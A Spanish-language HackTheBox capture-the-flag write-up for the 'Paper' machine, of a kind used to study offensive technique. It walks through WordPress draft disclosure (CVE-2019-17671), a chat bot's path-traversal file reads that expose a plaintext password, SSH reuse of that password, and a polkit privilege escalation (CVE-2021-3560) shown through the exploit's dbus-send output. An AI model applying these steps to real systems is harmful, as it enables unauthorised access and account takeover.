Paper es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Paper 10.10.11.143 a /etc/hosts como paper.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
# Nmap 7.92 scan initiated Thu Feb 10 11:04:07 2022 as: nmap -sC -sV -oA enumeration/nmap 10.10.11.143 Nmap scan report for 10.10.11.143 Host is up (0.046s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA) | 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA) |_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 | http-methods: |_ Potentially risky methods: TRACE |_http-title: HTTP Server Test Page powered by CentOS |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-title: HTTP Server Test Page powered by CentOS |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 | http-methods: |_ Potentially risky methods: TRACE |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US | Subject Alternative Name: DNS:localhost.localdomain | Not valid before: 2021-07-03T08:52:34 |_Not valid after: 2022-07-08T10:32:34 |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 | tls-alpn: |_ http/1.1 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Feb 10 11:04:27 2022 -- 1 IP address (1 host up) scanned in 20.21 seconds |
Revisamos el anterior escaneo y vemos dos puertos abiertos, el 80 y 443 correspondientes a http y https, así que vamos a ver que hay en los mismos.
Enumeración
Accedemos a la url paper.htb a través del navegador, pero observamos una página de ejemplo de apache
No parece que vayamos a ver nada más por aquí, así que hacemos alguna prueba y observamos una cabecera interesante al atacar directamente a la ip
1 2 3 4 5 6 7 8 9 10 |
$ curl -I 10.10.11.143 HTTP/1.1 403 Forbidden Date: Thu, 10 Feb 2022 11:13:07 GMT Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 X-Backend-Server: office.paper Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT ETag: "30c0b-5c5c7fdeec240" Accept-Ranges: bytes Content-Length: 199691 Content-Type: text/html; charset=UTF-8 |
Y descubrimos el dns office.paper, así que lo añadimos al fichero hosts y accedemos a dicha url en el navegador
Se trata de un portal en wordpress, en el que no parece que podamos hacer mucho, así que navegamos un poco por el mismo, y revisamos el código fuente, y encontramos la versión del mismo, siendo la 5.2.3.
Así que nos vamos a google y encontramos la vulnerabilidad CVE-2019-17671 que permite ver entradas que no han sido publicadas aún.
Para probarla accederemos a la url
1 |
https://office.paper/?static=1 |
Y veremos una página de pruebas con información interesante
En la misma nos indica que los empleados son migrados a una nueva plataforma de chat, y tenemos un dns nuevo y una url para registrarnos en la plataforma, así que añadimos el subdominio al fichero hosts y accedemos a la página de registro
Creamos nuestro usuario, y accedemos a la plataforma, viendo el siguiente chat a los pocos segundos
Si revisamos el mismo, el usuario recyclops habla acerca de la plataforma, y los comandos a utilizar para poder listar y recuperar ficheros, así que vamos a enviar un mensaje privado al usuario a ver si sus comandos funcionan, y vemos que sí.
Podemos listar ficheros con el comando list, así que vamos a navegar un poco por los ficheros existentes y vemos un fichero .env con unas credenciales
Y cuyo contenido es
1 2 3 4 5 6 7 8 9 10 11 12 13 |
file ../hubot/.env Bot 11:40 AM <!=====Contents of file ../hubot/.env=====> export ROCKETCHAT_URL='http://127.0.0.1:48320' export ROCKETCHAT_USER=recyclops export ROCKETCHAT_PASSWORD=Queenofblad3s!23 export ROCKETCHAT_USESSL=false export RESPOND_TO_DM=true export RESPOND_TO_EDITED=true export PORT=8000 export BIND_ADDRESS=127.0.0.1 <!=====End of file ../hubot/.env=====> |
Revisamos también los usuarios existentes y ahora nos toca acceder a la máquina.
Obteniendo la flag de user
Utilizamos las credenciales obtenidas con el usuario dwight para acceder a la máquina y obtener la flag de user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ssh dwight@10.10.11.143 The authenticity of host '10.10.11.143 (10.10.11.143)' can't be established. ECDSA key fingerprint is SHA256:2eiFA8VFQOZukubwDkd24z/kfLkdKlz4wkAa/lRN3Lg. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.143' (ECDSA) to the list of known hosts. dwight@10.10.11.143's password: Activate the web console with: systemctl enable --now cockpit.socket Last login: Wed Feb 9 14:46:06 2022 from 10.10.14.9 [dwight@paper ~]$ id uid=1004(dwight) gid=1004(dwight) groups=1004(dwight) [dwight@paper ~]$ ls -l total 12 -rwxr-xr-x 1 dwight dwight 1174 Sep 16 06:58 bot_restart.sh drwx------ 8 dwight dwight 4096 Sep 16 07:57 hubot drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales -r-------- 1 dwight dwight 33 Feb 9 14:22 user.txt [dwight@paper ~]$ cat user.txt 34af2275433636f3e0324b590ba5c1ca [dwight@paper ~]$ |
Escalado de privilegios
Ahora que ya estamos dentro, nos queda escalar a root, así que vamos a enumerar la máquina.
Revisamos si el usuario tiene permisos de sudo sobre algún comando, pero sin éxito
1 2 3 4 5 6 7 8 9 10 11 |
[dwight@paper ~]$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for dwight: Sorry, user dwight may not run sudo on paper. |
Así que revisamos los procesos del sistema y revisamos los procesos del bus
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
[dwight@paper ~]$ busctl NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION :1.1 1 systemd root :1.1 init.scope - - :1.10 1050 NetworkManager root :1.10 NetworkManager.service - - :1.11 1009 polkitd polkitd :1.11 polkit.service - - :1.161 7861 packagekitd root :1.161 packagekit.service - - :1.2 1012 systemd-machine root :1.2 systemd-machined.service - - :1.25 1050 NetworkManager root :1.25 NetworkManager.service - - :1.30 1268 accounts-daemon root :1.30 accounts-daemon.service - - :1.319 33530 systemd root :1.319 user@0.service - - :1.322 33547 busctl dwight :1.322 session-17.scope 17 - :1.37 1335 systemd-logind root :1.37 systemd-logind.service - - :1.40 1645 systemd dwight :1.40 user@1004.service - - :1.6 1015 rtkit-daemon root :1.6 rtkit-daemon.service - - :1.7 1020 udisksd root :1.7 udisks2.service - - :1.76 1718 pulseaudio dwight :1.76 user@1004.service - - :1.8 1024 avahi-daemon avahi :1.8 avahi-daemon.service - - :1.9 1030 ModemManager root :1.9 ModemManager.service - - :1.93 1084 tuned root :1.93 tuned.service - - com.redhat.Blivet0 - - - (activatable) - - com.redhat.ifcfgrh1 1050 NetworkManager root :1.25 NetworkManager.service - - com.redhat.tuned 1084 tuned root :1.93 tuned.service - - fi.w1.wpa_supplicant1 - - - (activatable) - - net.reactivated.Fprint - - - (activatable) - - org.bluez - - - (activatable) - - org.fedoraproject.SetroubleshootFixit - - - (activatable) - - org.fedoraproject.SetroubleshootPrivileged - - - (activatable) - - org.fedoraproject.Setroubleshootd - - - (activatable) - - org.freedesktop.Accounts 1268 accounts-daemon root :1.30 accounts-daemon.service - - org.freedesktop.Avahi 1024 avahi-daemon avahi :1.8 avahi-daemon.service - - org.freedesktop.ColorManager - - - (activatable) - - org.freedesktop.DBus 1 systemd root - init.scope - - org.freedesktop.Flatpak.SystemHelper - - - (activatable) - - org.freedesktop.GeoClue2 - - - (activatable) - - org.freedesktop.ModemManager1 1030 ModemManager root :1.9 ModemManager.service - - org.freedesktop.NetworkManager 1050 NetworkManager root :1.10 NetworkManager.service - - org.freedesktop.PackageKit 7861 packagekitd root :1.161 packagekit.service - - org.freedesktop.PolicyKit1 1009 polkitd polkitd :1.11 polkit.service - - org.freedesktop.RealtimeKit1 1015 rtkit-daemon root :1.6 rtkit-daemon.service - - org.freedesktop.UDisks2 1020 udisksd root :1.7 udisks2.service - - org.freedesktop.UPower - - - (activatable) - - org.freedesktop.bolt - - - (activatable) - - org.freedesktop.fwupd - - - (activatable) - - org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.import1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - org.freedesktop.login1 1335 systemd-logind root :1.37 systemd-logind.service - - org.freedesktop.machine1 1012 systemd-machine root :1.2 systemd-machined.service - - org.freedesktop.nm_dispatcher - - - (activatable) - - org.freedesktop.portable1 - - - (activatable) - - org.freedesktop.realmd - - - (activatable) - - |
Y vemos en concreto uno muy interesante
1 |
:1.11 1009 polkitd polkitd :1.11 polkit.service - - |
Se trata de policykit, una herramienta de linux utilizada para las políticas de permisos del sistema, y que recientemente han salido varias vulnerabilidades a la luz.
Así que buscamos en google y encontramos la vulnerabilidad CVE-2021-3560 y un exploit público en bash para explotar la misma.
Así que vamos a ejecutar el mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
[dwight@paper ~]$ bash /home/dwight/exploit.sh Failed to set locale, defaulting to C.UTF-8 Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist Modular dependency problems: Problem 1: conflicting requests - nothing provides module(perl:5.26) needed by module perl-IO-Socket-SSL:2.066:8030020201222215140:1e4bbb35.x86_64 Problem 2: conflicting requests - nothing provides module(perl:5.26) needed by module perl-libwww-perl:6.34:8030020201223164340:b967a9a2.x86_64 [*] Vulnerable version of polkit found [*] Determining dbus-send timing [*] Attempting to create account /home/dwight/exploit.sh: line 48: 35164 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null /home/dwight/exploit.sh: line 48: 35171 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null /home/dwight/exploit.sh: line 48: 35176 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$userName string:$realName int32:$accountType 2> /dev/null [*] New user hacked created with uid of 1005 [*] Adding password to /etc/shadow and enabling user /home/dwight/exploit.sh: line 63: 35227 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2> /dev/null [*] Exploit complete! /home/dwight/exploit.sh: line 64: 35232 Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$userid org.freedesktop.Accounts.User.SetPassword string:$password string:$passHint 2> /dev/null [*] Run 'su - hacked', followed by 'sudo su' to gain root access |
El cual, si revisamos el script aprovechará la vulnerabilidad para crear un usuario con permisos de root en el sistema.
Obteniendo la flag de root
Una vez ejecutado con éxito el exploit, nos queda acceder con el usuario recién creado y escalar a root para conseguir nuestra flag
1 2 3 4 5 6 7 8 9 10 11 |
[dwight@paper ~]$ su - hacked Password: [hacked@paper ~]$ id uid=1005(hacked) gid=1005(hacked) groups=1005(hacked),10(wheel) [hacked@paper ~]$ sudo su - [sudo] password for hacked: [root@paper ~]# id uid=0(root) gid=0(root) groups=0(root) [root@paper ~]# cat root.txt 0a06092af2c14df92c13bdff05072e69 [root@paper ~]# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace